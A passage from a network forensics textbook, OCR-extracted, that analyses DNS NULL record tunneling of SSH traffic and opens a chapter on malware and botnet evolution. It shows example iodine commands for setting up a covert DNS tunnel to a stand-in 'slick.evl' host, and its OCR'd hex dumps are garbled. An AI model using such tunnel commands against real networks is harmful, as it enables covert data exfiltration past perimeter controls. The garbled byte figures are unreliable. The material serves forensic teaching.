0040 74 Ge Bc DS 73 6u 69 63 Ak 03 65 76 6c 00 QO Oa ..
uuso o0
naGn
co7o
naan
coso
00a0
oobo
(leluls]
nodo 0 15
00s0 74 Ge 6¢ 5B cO 19 c0 bS5 o0 01
vofo OO 04 ac 10 10 dc OO LU 29 1O

O Text ltem (), 117 bytes | Packets: 386 Displayed: 2 Marked: 0 i|Profile: DeFault

[l
8 At
fu:=]
(0.5
wo

00 00 B0 00 0O

SN K1

Figure 11-11. Using Wireshark, we export the data from the DNS NULL record response so
that we can analyze it using a hex editor.
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& i W B Q%

evidence-network-tunneling-62.raw # ‘

00000000 45 00 00
00000010 |64 42 F4 40 00 40 06 DB 95 02 04 04 02 02 04 04
00000020101 00 16 29 B8 E2 E6 12 CEB E5 62 TF 92 80 18 07
00000030 |94 FE C8 00 00 01 01 08 0OA 00 O3 57 5D 00 02 DO
00000040197 9B 96 62 E2 CA Be ES 85 35 6B 7D 2B 17 &1 51
00000050 |3k 24 A7 8C 36 10 b7 92 AD FZ B8 54 Kb 71 Bl 2k
00000060 2B 31 27 TR CA 79 32 AD 19 3B 6D 88 BF 42 2C 31 Yy
0000007057 BF 27 25 66 W.'%f

| OFfset: oxd / 0x74 |Selection: 0x0 to Oxc (Oxd bytes) [INS

5

Figure 11-12. Opening the exported data in the Bless hex editor, we delete all of the bytes
before the start of our presumed IP packet at byte offset 13.

11.5.4 Tunneled IP Packet Analysis

Now let’s see if we can carve valid IP protocol information out of this exported data. We will
hypothesize that there is a valid IP header in the DNS NULL response data, and attempt
to carve it out. Opening the exported data in the Bless hex editor, let’s delete all of the
bytes before the start of our presumed IP packet at byte offset 13. Figure 11-12 shows the
13-byte preamble (highlighted) that should be cut.

11.5.4.1 Source and Destination IPv4 Addresses

In the IP header, bytes 12-15 (again, counting from 0) represent the source IP address,
and bytes 16-19 represent the destination IP address. Based on this, in Figure 11-13, the
source IP address is highlighted (bytes 12-15 of the IP header). As you can see, these are
(in hexadecimal) “0A040402.” Converting each hexadecimal byte to decimal:

0x0A =
0x04 =
0x04 =
0x02 =

0

N DD

00000000 |45 00 00 64 42 F4 40 00
0oo00010|02 04 04 01 00 16 29 BB
00000020 |80 18 07 94 F8 C& 00 0O
000000320 |00 03 DO 97 9B 96 62 EZ
00000040(17 61 51 3E 24 A7 8C 36
0oo000050(71 B1 2E 2B 21 37 T7A CR 79 33 AD 19 3B 6D 88 B8F|g...l17z.y3..;im..
00000060 |42 3¢ 31 57 BF 27 25 66 B<lw. "&£

| [Offset: ox10 / ox67 [Selection: Oxc to OxF (0x4 bytes) [INS

Figure 11-13. An IP packet extracted from DNS NULL record data. The source IP address
of the tunneled packet is highlighted.
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00000000 42 F4 40 00 40 06 DE 95 OZ 04 04 02|E..dB.B.@.......
00000010 00 16 29 B8 E3 E6 12 cB 85 62 7F 93 (. ... .. ... b..
00000020 (80 18 07 94 F8 €8 00 00 01 01 08 02 00 03 57 5D |uuuuunnenun... W]
00000030 (00 03 DO 97 9B 96 62 E2 CA B6 EB 85 35 6B 7D 2B|...... b..... Sk}+
00000040 (17 61 51 3E 24 &7 8C 36 1C 67 92 20 F2 BB 5& E6|.aQ>5..6.g....%2.
0000005071 Bl 2E AB 31 37 72 C& 79 33 2D 19 3B 6D 88 8F |q...17z.y3..;m..
00000060 |42 3C 31 57 BF 27 25 66 B<1W.'%f

| {OFfset: 0x14 [ 0x67 [Selection: 0x10 to 0x13 (0x4 bytes) [INS

Figure 11-14. An IP packet extracted from DNS NULL record data. The destination IP address
of the tunneled packet is highlighted.

Therefore, the source IP address of the tunneled IP packet is 10.4.4.2. This is a valid IPv4
address, which is promising.

In Figure 11-14, the destination IP address is highlighted (bytes 16-19 of the IP header).
As you can see, these are (in hexadecimal) “0A040401.” Converting each hexadecimal byte
to decimal:

0x0A
0x04
0x04
0x01

0

Ll S S

Therefore, the destination IP address of the tunneled IP packet is 10.4.4.1. Again, this is a
valid IPv4 address, which fits with our hypothesis.

11.5.4.2 IP Packet Length

In the IPv4 header, the low-order nibble of Byte 0 is the “Internet Header Length” field.
This indicates the number of 32-bit words in the IP header. (Each “32-bit word” is equal
to 4 bytes.) As shown in Figure 11-15, the value of the low-order nibble of Byte 0 in this
packet is 5. We know there are 4 bytes in each 32-bit word. Multiplying “5” (the number of
32-bit words in the IP header) by “4 bytes” gives us a 20-byte IP header. Now we know the
length of the IP header.

00000000 [fl 00 00 64 42 F4 40 00 40 06 DB 95 0% 04 04 02|F..dB.@.G.......

00000010 |0OA 04 04 01 0D 16 A9 B8 E3 E6 1A CB E5 62 TF 93| ... b..
000000DZ0 (80 18 07 94 F8 C8 00 00 01 01 08 0& 00 03 57 5D .. iiinnns ]
000000320 |00 03 DO 87 9B 96 62 E2 CA B6 E8 85 35 6B 7D 2B|...... B, Ek}+
00000040 (17 61 51 3E 24 27 BC 36 1c 67 92 R0 F2 BB LA E6|.aQ>%..6.g....%.
00000050 (71 B1 2E ARB 31 37 7R CA 79 33 RD 19 3B 6D B8 8F|g...17z.¥3..;m..
00000060 (42 3C 31 57 BF 27 25 66 B<1W.'S%f

| {[OFfset: 0x0 / 0x67 [Selection: 0x0 to 0x0 (0x1 bytes) [INS

Figure 11-15. An IP packet extracted from DNS NULL record data. Byte 0O of the tunneled
packet is highlighted. The value of the low-order nibble of Byte 0 in this packet is 5.
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00000000 (45 00 (MRl 42 F4 40 00 40 06 DE 95 0R 04 04 02 E.B.@.@ .......

ooono010|0OR 04 04 01 00 16 A9 B8 E3 E6 1R CB ES 62 TF 93| . ... . ... b..
000000Z0 (80 18 07 94 F8 Cc8 00 00 01 01 08B 02 00 03 57 BD|.. e W]
0oo0DO00Z0|00 03 DO 97 9B 96 6Z EZ CR B6 E8 85 35 6B 7D 2B|...... b.o.... Bk }+
00000040(17 61 51 3E 24 A7 8C 36 1C &7 92 20 F2Z B8 bR E6|.aQ>%..6.g9....4.
0ooo0no0050|71 B1 2E RB 31 37 7 CAR 79 33 BRD 19 3B 6D 88 8F|q...l17z.v3..;m..
00000060 |42 3C 31 57 BF 27 25 66 B<lW. "&£

| J[OFfset: ox2 / 0x67 [Selection: Ox2 to 0x3 (0x2 bytes) [INS

Figure 11-16. An IP packet extracted from DNS NULL record data. Bytes 2—3 of the tunneled
packet are highlighted. These represent the total length of the IP packet.

The “Total Length” of an IPv4 packet is specified in Bytes 2—-3 of the IPv4 header. As
shown in Figure 11-16, the Total Length of the tunneled IP packet is “0x0064,” or 100
bytes.

Counting 100 bytes, let’s trim the extra material from the end of the IP packet in Bless.
Figure 11-17 shows the extra data that should be cut.

11.5.4.3 Encapsulated Protocol Type

In the IPv4 header, the single-byte field at Byte 9 (starting from 0) indicates the encap-
sulated protocol type. These were originally codified in 1980 by Jon Postel in RFC 762,
“Assigned Numbers,”?” and are now maintained by IANA.?® In Figure 11-18, starting
with Byte 0, we count from left to right and find that the value at Byte 9 is “06,” which

(_X_xhnnnnn:lmwmmmmmn.mmmmmmﬁm:|r11_

File Edit View Search Tools Help

ol 2 & WE B Q Qe

evidence-network-tunneling-62.raw* 3 |
0ooo00000 |45 00 00 64 42 F4 40 00 40 06 DE 95 02 04 04 0Z|E..dB.@.G@.......

00000010 |0~ 04 04 01 00 16 R9 B8 E3 E6 1A CB E5 62 TF 93 |............. b..
00000020|80 18 07 94 F8 C8& 00 00 01 01 08 OR 00 03 57 5D, ]
00000DD30|00 D3 DO 97 9B 96 62 E2Z CAR B6 E8 85 35 6B 7D ZB|...... b..... bl +
00000040 (|17 61 51 2E 24 27 BC 36 1C 67 92 R0 F2 BB RR E6|.aQ>%..6.g9....%Z.

00000050 (71 B1 2E RB 31 37 TR C& 79 33 BED 1% 3B 6D 88 BF|g...17z.y3..;m..

00000060 |42 3C 31 57 e<1vHER
| {OFfset: 0x68 / 0x67 [Selection: 0x64 to 0x67 (0x4 bytes) [INS

Figure 11-17. An IP packet extracted from DNS NULL record data. The highlighted bytes
are beyond the calculated length of the IP packet and should be trimmed.

27. “RFC 792—Internet Control Message Protocol.”

28. “Protocol Numbers.”
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00000000|45 00 00 64 42 F4 40 00 40 DB 95 02 04 04 02|E..de.g.gf......

oocooo010|0OR 04 04 01 00 16 A% B8 E3 E6 12 CB EL 62 TF 93 |..... .. ..., b..
00000020 (80 18 07 94 FB C8 00 00 01 01 08 DA 00 03 57 BD|... v ivunnn.. W]
00000030 (00 D03 DO 97 9B 96 62 EZ CR B6 E8 85 35 6B 7D 2B|...... bis::- Skl+
00000040(17 61 51 3E 24 27 8C 36 1C 67 92 R0 F2 BB bZ E6|.aQ>$..6.9....2.
00000050 (71 Bl 2E AB 31 37 T7A CA 79 33 BED 19 3B 6D 88 BF|q...l17z.y3..;m..
00000060 (42 3c 31 57 BF 27 25 66 B<lmi.'%f

| [OFfset: oxa / ox67 [Selection: 0x9 ta 0x9 (0x1 hytes) [INS

Figure 11-18. An IP packet extracted from DNS NULL record data. The encapsulated protocol
type of the tunneled packet is highlighted. The value is “06,” which corresponds with TCP.

corresponds with TCP. This indicates that the Layer 4 protocol embedded inside the tun-
neled IP packet is TCP.

11.5.5 Tunneled TCP Segment Analysis

Now that we’ve extracted IP protocol details, let’s carve out the encapsulated TCP segment
and analyze the protocol details. We know from the “Protocol” identifier in the IPv4 header
that the encapsulated protocol is TCP. We also know the “Internet Header Length” field
indicates that the length of the IPv4 header in this packet is 20 bytes (which is very common).
Recall that there is no IPv4 footer, so in order to recover the tunneled TCP segment, we must
simply strip off the 20-byte IPv4 header. Figure 11-19 shows the IPv4 header highlighted.
These bytes should be cut off to recover the encapsulated TCP segment.

11.5.5.1 TCP Source Port

The first two bytes of a TCP segment (Bytes 0 and 1) represent the TCP source port from
which the segment was sent. As highlighted in Figure 11-20, in this case the source port is
0x0016, or 22 in decimal. According to TANA, TCP port 22 corresponds with “The Secure

DMNS-null-response-ip.raw 3

0ooooooo

0ooooo010 00 16 29

0oooooz0|80 18 07 94 F8 C8 00 00 01 01 0B O2 00 03 57

0000002000 02 DO 97 9B 96 62 EZ CA B6 EB BS5 35 6B 7D ZB|...... | < S Ekl+
00000040 (|17 61 51 3E 24 =7 8c 36 1c 67 92 20 F2Z B8 bR E6|.aQ>%..6.g9....%.
0ooooos0 |71 B1 2E 2B 31 27 72 CA2 79 323 EAD 19 3B 6D B8 BF |g...l17z.y3..;m..
0oooooe0 |42 2C 21 57 BF 27 25 66 B<lw.'%f

| {OFfset: 0x0 [ Ox67 [Selection: 0x0 to 0x13 (0x14 bytes) [INS

Figure 11-19. The IPv4 header of our tunneled packet is highlighted. These bytes should be
cut off to recover the encapsulated TCP segment.
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00000000 |EENs ~5 B8 E3 E6 1A CEB E5 62 7F 53 80 18 07 854 . ....... |
00000010 |F8 Cc8 00 00 01 01 08 O& 00 03 57 5D 00 02 DO 97|, Wl....
00000020 |98 96 62 EZ CA Be EB B85 35 6B 7D ZB 17 61 51 3E|..b..... S5ki+.a0>
00000030 |24 27 8C 36 1C 67 92 R0 F2 B8 b2 E6 71 Bl 2E 2B|$..6.9....2.d...

00000040(31 37 7R CA 79 23 ED 19 3B 6D 88 8F 42 3C 31 57(17=z.y3..;m..B<1lW

[ Joffset: oxo / ox4f [Selection: 0x0 to 0x1 (0x2 bytes) [INS

Figure 11-20. The tunneled TCP segment. The source port (0x0016, or 22 in decimal) is
highlighted.

Shell (SSH) Protocol.”?? This is a tool used for secure remote access to systems. SSH traffic
is encrypted, so it is likely that the payload of this TCP segment contains encrypted data
that will not be readable. At least to the eye, there does not appear to be any obviously
recoverable content in the payload, such as cleartext strings.

11.5.5.2 TCP Destination Port

The second two bytes of the TCP segment (Bytes 1 and 2) represent the TCP destination
port. As highlighted in Figure 11-21, the destination port of the tunneled TCP segment
was 0xA9BS, or 43448. This is listed as “Unassigned” in IANA’s “Port Numbers” list. That
makes sense given that SSH is listed as the source port for this traffic. By default, SSH servers
have TCP port 22 listening. SSH clients use an ephemeral port for traffic on the client side.
Ephemeral ports are automatically allocated by the TCP/IP stack for temporary use by
programs, as needed.?°

The ephemeral port range varies depending on the operating system (and it can also
be customized by the user). The destination port that we see happens to fit nicely in the
default ephemeral port range on Ubuntu Linux 10.10, for example, which ranges from 32768
to 61000. By contrast, in Windows Vista and Windows Server 2008, the “dynamic client
port range” is 49152-65535, so the packet we found with destination port 43448 is less likely
to have been generated by a Windows Vista or Windows Server 2008 system.3!

00000000 |00 16 E3 E6 12 CB E5 62 7F 93 80 18 07 94|.. .. ... b.o.....
00000010 [F8 €8 00 00 01 01 08 OZ 00 03 57 5D 00 03 DO 97 |.......... Wl....
00000020 |9B 96 62 EZ CA B6 EB 85 35 6B 7D 2B 17 61 51 3E|..b..... Skj+.aQ>
00000030 (24 27 8C 36 1C 67 92 R0 F2 B8 5& E6 71 Bl 2E ZB|%..6.g....%.q...

00000040(31 27 72 CA 79 33 ED 19 3B 6D 88 BF 42 3C 31 57 |17z.y3..;m..B<1W

[ OFFset: ox4 / ox4f [Selection: 0x2 to 0x3 (0x2 bytes) [INS

Figure 11-21. The tunneled TCP segment. The destination port (0xA9B8, or 43448 in decimal)
is highlighted.

29. “Port Numbers,” July 19, 2011, http://www.iana.org/assignments/port-numbers.

30. Mike Gleason, “The Ephemeral Port Range,” 2001, http://www.ncftp.com/ncftpd/doc/misc/ephemeral
_ports.html

31. “The Default Dynamic Port Range for TCP/IP has Changed in Windows Vista and in Windows Server
2008,” Microsoft Support, July 14, 2010, http://support.microsoft.com/kb/929851/.
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00000000 |00 16 A9 BB E3 E6 1R CE E5 62 TF 93 80 & 07 S4|......... b...l..
00000010 |F8 <8 00 00 01 01 0B OA 00 03 B7 B0 00 02 DO 97| .o Wl....
00000020 |9B 96 62 EZ CA B6 E8 BbLH 35 6B 7D ZB 17 61 51 3E|..b..... 5kl+.a0>
00000030 |24 27 BC 36 1c 67 92 R0 FZ BB bR E6 71 Bl ZE EB|5..6.9....9.4...

0000004031 27 72 CcA 79 33 AD 19 3B 6D 88 B8F 42 3C 31 57(17z.y3..;m..B<1lW

| {OFfset: oxd / 0x4f [Selection: 0xd to Oxd (0x1 bytes) [1s

Figure 11-22. The tunneled TCP segment. Byte 13 in the TCP header represents the TCP
flags. In this case, the hexadecimal value of Byte 13 is 0x18, or 00011000 in binary. This means
that the TCP “PSH" and “ACK" flags are set.

11.5.5.3 TCP Flags

Byte 13 in the TCP header represents the TCP flags. As highlighted in Figure 11-22, the
hexadecimal value of Byte 13 is 0x18. In binary, this is 0b00011000. Comparing this to a TCP
reference diagram, we see that the PSH and ACK flags are set. This indicates that the TCP
segment we have extracted is part of an ongoing TCP conversation that was successfully
set up.

11.5.6 Timeline

Let’s put together a timeline of events, based on our analysis. In this case, the timeline will
be fairly short, particularly since the packet capture we were provided is only 22 seconds
long.

Here is our timeline of events, which took place on November 27, 2010 (times are in
MST):

e 23:39:45.556364—Packet capture begins. 99.48% of the traffic is DNS NULL record
queries from 192.168.1.30 and responses from 10.1.1.20 (the local DNS server).

e 23:39:54.283012—First DNS NULL response containing potentially recognizable
tunneled IP packet sent. Source: 10.1.1.20. Destination: 192.168.1.30.

e 23:39:54.372578—Second DNS NULL response containing potentially recognizable
tunneled IP packet sent. Source: 10.1.1.20. Destination: 192.168.1.30.

e 23:39:58.070519—Third DNS NULL response containing potentially recognizable
tunneled IP packet sent. Source: 10.1.1.20. Destination: 192.168.1.30.

e 23:40:07.278996—Packet capture ends.

11.5.7 Theory of the Case

Now let’s summarize our theory of the case. This is just a working hypothesis supported by
the evidence, references, and experiences:

e A user on the internal system 192.168.1.30 covertly communicated with a remote
system on the Internet by smuggling IP packets through DNS NULL records. This
is a well-known method for tunneling that has been implemented in the popular tool
iodine (and possibly other tools).
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e The user sent tunneled data in DNS NULL record queries for hostnames in the
tnl.slick.evl domain. The authoritative name server delegated for the tnl.slick.evl do-
main is tnlh.slick.evl (172.16.16.220). The local name server, 10.1.1.20, did not have
the answers to the queries cached, and so it forwarded the requests along to the author-
itative name server 172.16.16.220. The server 172.16.16.220 was probably the tunnel
endpoint.

e A daemon listening on the server 172.16.16.220 extracted the tunneled data from the
DNS NULL record requests.

o At least some of the tunneled data was IPv4 traffic. In one packet that we analyzed, the
source for the tunneled traffic was 10.4.4.2:22, and the destination (on the local system)
was 10.4.4.1:43448. This tunneled data was extracted from a UDP/DNS datagram
sent from the remote tunnel endpoint 172.16.16.220 to the local system 192.168.1.30,
proxied through the local DNS server 10.1.1.20 (and possibly other systems). Since
10.4.4.2 and 10.4.4.1 are nonroutable IP addresses in the same subnet, it is likely that
the user configured virtual interfaces on both the source and destination systems with
these addresses, for use by the tunneling daemon.

e Here is an example of how the tunnel could have been set up using iodine:
On the remote tunnel endpoint (172.16.16.220):

$ sudo iodined -f 10.4.4.2 tnl.slick.evl
Enter password:

Opened dnsO

Setting IP of dnsO to 10.4.4.2

Setting MTU of dnsO to 1200

Opened UDP socket

Listening to dns for domain tnl.slick.evl

On the local tunnel endpoint (192.168.1.30):

$ sudo iodine tnl.slick.evl

Enter password:

Opened dnsO

Opened UDP socket

Version ok, both using protocol v 0x00000500. You are user #1

Setting IP of dnsO to 10.4.4.2

Setting MTU of dnsO to 1200

Switching to Base64 codec

Server switched to codec Base64

Autoprobing max downstream fragment size... (skip with -m fragsize)

768 ok.. 1152 ok.. got BADIP.. 1344 not ok.. got BADIP.. 1248 not ok..
got BADIP.. 1200 not ok.. 1176 ok.. 1188 ok.. will use 1188

Setting downstream fragment size to max 1188...

Sending queries for tnl.slick.evl to 10.1.1.20

Detaching from terminal...

e The user was probably tunneling SSH traffic, based on the source port (TCP 22). SSH
is a program used for remote connection that encrypts authentication credentials and
data in transit. Given the flags set in the tunneled TCP segment (PSH and ACK), it is
likely that the segment we carved out was probably part of an existing TCP connection
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that had been successfully set up. Since SSH traffic is encrypted, it is unlikely that we
will be able to recover application-layer content.

11.5.8 Response to Challenge Questions

e Analyze the DNS traffic and determine if it is truly suspicious. The DNS traffic
certainly does appear to be suspicious. There are a few characteristics that made it
stand out. First, all of this DNS traffic was of type “NULL.” Normally, DNS traffic
contains queries and responses for A records, and sometimes NS or MX records. DNS
NULL record requests are unusual. We also noticed that there was no other traffic
at all except one ARP request/reply pair, so there is no indication of a legitimate
network-based application that would require DNS information.

e Determine the purpose of the unusual DNS traffic. DNS NULL records are
perfect for covert tunneling because the NULL record can contain any type of data
and DNS queries/responses are frequently allowed through organization perimeters.
Hypothesizing that this DNS traffic was used for covert tunneling, we searched for
tunneled IPv4 packets and found what appeared to be three tunneled IPv4 packets.
We were able to successfully carve out a legitimate TCP header encapsulated within
one of the IPv4 packets, which indicated that the tunneled traffic might be SSH. This
is a smart way to covertly tunnel data because even if the tunnel is recovered, the
application-layer content of the tunneled traffic is encrypted.

e If the traffic is suspicious, recover as much information as possible about
the local and remote systems involved.
We found that the remote tunnel endpoint was probably tnlh.slick.evl (172.16.16.220),
since this was the authoritative name server designated to process DNS requests for
the tnl.slick.evl domain. This system was likely running a daemon designed to extract
tunneled traffic from the DNS NULL records.

The remote endpoint of the tunneled traffic was 10.4.4.2:22; and the local endpoint
of the tunneled traffic was 10.4.4.1:43448. Since these are nonroutable IP addresses in
the same subnet, it is likely that the user configured the local and remote systems to
use these addresses for virtual interfaces on the tunnel endpoints.

The remote tunnel endpoint is probably running an SSH server that is listening on
10.4.4.2:22.

e Evaluate the risk that data was exfiltrated. The risk of data exfiltration is sig-
nificant. We know from the TCP flags set on the tunneled TCP segment that a suc-
cessful TCP connection was likely established, allowing application-layer data to flow
back and forth across the tunnel. Since the content of the SSH traffic is normally
encrypted, we probably cannot recover the actual contents of the communication, but
we can evaluate the volume of data transmitted (and received) to at least place an
upper boundary on the amount of data that may have been transferred (43,873 bytes
outbound, including protocol header and footers).
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11.5.9 Next Steps

Now that we have strong evidence indicating that a covert tunnel was established via DNS
NULL records, what are the next steps for investigators?

Hard Drive Analysis If the client 192.168.1.30 still exists on the network, it would
be wise to recover the system, preserve evidence, and analyze the contents of the hard
drive. This will help us determine what data or credentials may have been compro-
mised, what software was used to establish the covert tunnel, and perhaps even identify
who was using the system at the time of the covert communications.

Central Logging Server The central logging server may contain authentication
records and application logs, which could allow investigators to identify the user of
192.168.1.30, recover any privileged commands that were run to set up the tunnel or
exfiltrate data, or determine whether any other systems were accessed by the same
user. If the central log server stores logs of DNS requests, that might be very useful
for identifying any other instances where covert tunneling over DNS NULL records
was employed.

Firewall Logs and Flow Records Firewall logs and flow record data can help
investigators determine whether other systems on the local network were used to
access the same remote server. The pattern of traffic produced by DNS NULL record
tunneling is also quite distinct, and investigators could analyze firewall logs and flow
record data to determine other instances where a similar method was used for covert
tunneling.

Third-Party Communications In cases where a third-party server is identified as
an endpoint in suspicious communication, it may be appropriate to notify the owner
of the server, the ISP, or the domain name registrar. One of the most important
factors to consider when communicating with third parties is whether they may be
involved in the suspicious activity. In this case, it would probably be appropriate to
hold off notifying the remote endpoint owner until substantial evidence has already
been gathered, since the covert tunnel may have actually been set up by the owner of
the remote system.
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Chapter 12

Malware Forensics

“andy; I'm just doing my job, nothing personal, sorry”

—String found within the W82/MyDoom self-mailer worm code, circa 2004

Malware is big business. As computers themselves have evolved to be increasingly networked,
so too has malicious software, or “malware.” Many people have remarked upon the strong
analogies between malware and natural organisms, from self-reproductive techniques to the
emergence of evolution. In real life, viruses, parasites, and bacteria spread by piggybacking
on the normal mechanisms that hosts use to communicate and exchange resources. Similarly,
as personal computers evolved from isolated word processors into complex network-oriented
communications devices, the strategies and behaviors of malware have become increasingly
network-oriented.
There are many goals of malware forensics, including:

e Understanding malware and associated vulnerabilities in order to produce antivirus/
IDS signatures

Detecting compromised systems on the network

Determining the scope of a breach, after the fact

Containing an infection

Tracking down the source of malware

Gathering evidence for court

In this chapter, we explore malware forensics, particularly as it relates to network foren-
sics, and discuss how network instrumentation can be used to help identify and track malware
on the network. We begin by reviewing a few of the recent trends in malware evolution,
and discuss how they impact network forensic techniques. Next, we discuss propagation,
command-and-control, and payload behaviors, including ways that these can be detected
and addressed through network forensics. Finally, we look to the future and discuss how
network forensic investigators can prepare for the malware of tomorrow.

1. G.Sinclair, “Win32.Mydoom.B@mm (Win32.Novarg.B@mm) Removal Tool,” bitdefender, January 28,2004,
http://www.bitdefender.com/VIRUS-1000035-en—Win32.Mydoom.B@mm-(Win32.Novarg. B@mm).html.
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12.1 Trends in Malware Evolution

Once upon a time, malware was spread via floppy disks by infecting the MBR upon boot or
through transfer of infected files and programs (i.e., freeware utilities). While USB drives
and similar physical devices are still a notable source of malware, the vast majority of
malware activity occurs over the network. Even when the malware is injected via a physical
storage medium, it typically still communicates over the network after infecting a new
host. Network forensics and malware analysis have increasingly overlapped as malware has
evolved to become more dependant on the network for propagation, control, and payload
functionality.

12.1.1 Botnets

Modern botnets are the convergence of advancements in remote control, automated propa-
gation, and hierarchical, distributed management techniques. Despite their sophistication,
botnets are not anything new. Long before the “Storm” botnet compromised millions of
systems worldwide,? there were, for example, the rudimentary Tribe Flood Network and tri-
noo (1999), which were distributed networks of compromised hosts controlled by attackers
through hierarchical, redundant command-and-control channels. The evolution of botnets
from their early roots has been strongly influenced by the development of intrusion detection
systems, which led malware developers to incorporate sophisticated IDS evasion and anti-
forensic features.

12.1.1.1 Early Developments in Distributed Management

During the early to mid-1990s, attackers developed methods to remotely control compro-
mised systems through the network. As networking became ubiquitous, there was an ex-
plosion of malware that took advantage of networked resources in order to send out email
spam, conduct distributed denial-of-service (DDoS) attacks, host pirated software, and more.
During this time period, compromised systems were dubbed “zombies” because they had
rudimentary remote control and automation, usually limited to DDoS attacks or other sim-
ple behaviors.

During the late 1990s, attackers developed advanced systems for centrally coordinating
the activities of hundreds or even thousands of compromised systems. The Tribe Flood
Network (TFN), for example, emerged around 1999 in order to facilitate DDoS attacks.?
Notably, it was designed with redundant command-and-control channels (often referred to
as “C&C” or “C?” channels) so that attacker systems controlled a network of compromised
“client” systems, which in turn controlled an even larger network of “daemon” systems,
which could be instructed to simultaneously attack victims upon command.*

2. Bruce Schneier, “Gathering ‘Storm’ Superworm Poses Grave Threat to PC Nets,” Wired.com, October 4,
2007, http://www.wired.com/politics/security /commentary /securitymatters/2007/10/securitymatters -1004.

3. Dave Dittrich, “Tribe Flood Network,” November 1, 1999, http://staff.washington.edu/dittrich/talks/cert/
tfn.html.

4. Dave Dittrich, “The ‘Tribe Flood Network’ Distributed Denial of Service Attack Tool,” October 21, 1999,
http://staff.washington.edu/dittrich/misc/tfn.analysis.
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The Tribe Flood Network 2000 (TFN2K) system incorporated additional anti-network
forensics techniques, such as randomized and encrypted C&C packets that made traffic
filtering difficult.?

12.1.1.2 Early Developments in Full-Featured Control

At the same time, other “black hat” and “gray hat” developers were focusing on extending
the features of remote access trojans (RATS), designed to facilitate remote control of indi-
vidual compromised endpoints. During the late 1990s, RATs such as the Back Orifice and
Sub7 applications emerged. These provided remote attackers with a wide range of features,
enabling powerful, point-and-click control of zombies. Neither BackOrifice nor Sub7 were ini-
tially designed for a hierarchical management of a distributed network of agents; the goal was
to provide flexible, full-featured remote control of a compromised host by a single attacker.
Ultimately, botnet authors married sophisticated endpoint control with automated prop-
agation techniques, automated self-update mechanisms, and multilayer, hierarchical, and/or
peer-to-peer C&C channels. Botnets today incorporate many of the same features as legiti-
mate enterprise networks, including internal DNS, web, email, and software update mecha-
nisms. In accomplishing this, botnet authors have essentially built the equivalent of enter-
prise systems management software that scales far better than many aboveboard commercial
offerings. This all succeeds in a hostile environment where thousands of people are constantly
trying to disassemble the network. No wonder botnet developers are making money!

12.1.1.3 Implications for Network Forensics

To date, the most mature and most publicized aspects of malware analysis continue to focus
on reverse-engineering the behavior of samples caught “in the wild.” This is conducted in an
effort to understand the nature and mechanisms of compromise and to develop reliable anti-
virus or IDS signatures for detecting the presence of malware. Such samples have historically
been recovered by identifying a known-to-be-compromised host and extracting the malicious
code from the running or powered-down system (i.e., from either memory or disk). Given
the accompanying maturity of malware authors’ attempts to obfuscate or hide their code
on the compromised host, this can be a Herculean, if not impossible task.

As a result, network forensics has had to step into the breach—quite literally. Once
malware began to emerge that was difficult or impossible to detect simply by monitoring
host-based system activity, defenders turned to monitoring and analyzing hosts’ external
network behaviors to find, track, block, and prevent malware.

12.1.2 Encryption and Obfuscation

Encryption techniques have been used in malware since the early 1990s, when the Cascade
virus encrypted its own payload in order to avoid detection by antivirus software.® Malware
authors use encryption to hide functionality and create random-appearing payloads that are

5. Jason Barlow and Woody Thrower, “TFN2k An Analysis,” Packet Storm, March 7, 2000, http://
packetstormsecurity.org/files/view/10135/TFN2k_Analysis-1.3.txt.

6. Peter Szor, The Art of Computer Virus Research and Defense (Upper Saddle River, NJ: Addison-Wesley,
2005).
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difficult for antivirus software and IDS systems to detect. Over time, malware has evolved
increasingly sophisticated techniques to obscure decryptors and decryption keys (at times
even requiring the malware to brute-force decrypt itself) in order to evade detection and
forensic analysis.

12.1.2.1 Early IDS/Antivirus Evasion

Early network-based techniques to evade detection included session splicing and fragmen-
tation. In session splicing, the attacker chops up a string from a session and splits it across
multiple packets to foil NIDS/NIPS pattern matching. The network monitoring device must
reassemble the session in order to detect the string, which is processor-intensive. Similarly,
fragmentation attacks are designed to split individual packets into much smaller packets.
The NIDS/NIPS must reassemble the packet fragments to properly analyze them, which
uses up significant resources.

12.1.2.2 Modern Web Obfuscation/Encryption

Modern malware, which is often web-based, commonly leverages obfuscation techniques
to embed malicious code (i.e., JavaScript) in web pages. Obfuscation takes the form of
simple Base64 encoding or XOR-ing, or more complex layered systems of obfuscation. While
malware analysts can and do de-obfuscate malicious code, often using automated tools, these
techniques help attackers evade web filters and NIDS/NIPS systems, which are often unable
to properly de-obfuscate on the fly.”

12.1.2.3 Hiding C&C Channels

With the rise of remote-control zombies and the maturation of C&C channels, malware
began incorporating obfuscation and encryption not only to disguise the injection vectors
and payloads, but also to hide the content of the C&C channel itself. This was a very
important development that allowed botnets to evade detection and analysis through net-
work forensics of packet contents, long after the initial compromise. For example, Symantec
researcher Gilou Tenebro writes that the Waledac worm’s HTTP-based command-and-
control messages “[go] through at least four transformations before being sent to its peer.
Anybody monitoring the HTTP packets on the wire will not easily be able to comprehend the
messages.” 8

The result is that network forensic investigators must increasingly turn to statistical flow
analysis rather than content-based analysis in order to efficiently detect and dissect malware
on the network.

12.1.2.4 Maintaining Control

Encryption is used not just to evade detection and analysis by network defenders but also
to ensure that the botherders maintain control of their networks. Some botnets require

7. “Malicious Hidden Iframes using Publicly Available Base64 encode/decode Script,” Zscaler Research,
May 2, 2010, http://research.zscaler.com/2010/05/malicious-hidden-iframes-using-publicly.html.

8. Gilou Tenebro, “W32.Waledac Threat Analysis,” Symantec, 2009, http://www.symantec.com/content/
en/us/enterprise/media/security -response/whitepapers/W32_Waledac.pdf.
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client and/or server systems to cryptographically authenticate to the C&C channel, fur-
ther foiling attempts by network forensic analysts to investigate or interfere with botnet
functionality.

An interesting twist, illustrated by the Storm worm, is the use of encryption for the
purposes of segmenting botnets to facilitate resale. Botnets themselves have become valuable
commodities, rented and sold through underground black markets for purposes such as
distributing spam, coordinating DDoS attacks, and stealing financial information. In 2007,
the Storm worm began to use a weak (40-byte) encryption key to encrypt communications
between peer-to-peer nodes (later, this was beefed up to 64-bit RSA encryption). While
this made it more difficult to recover the contents of the packets on the fly, and added
significant time and effort to traffic content analysis, malware analysts could still reverse-
engineer samples to recover encryption keys and decrypt the packet contents. Joe Stewart of
SecureWorks commented that the encryption did ensure that “each node will only be able
to communicate with nodes that use the same key. This effectively allows the Storm author
to segment the Storm botnet into smaller networks. This could be a precursor to selling
Storm to other spammers, as an end-to-end spam botnet system, complete with fast-flux
DNS and hosting capabilities.”?

Note that Waledec, known as a “new and improved version of the Storm botnet,”
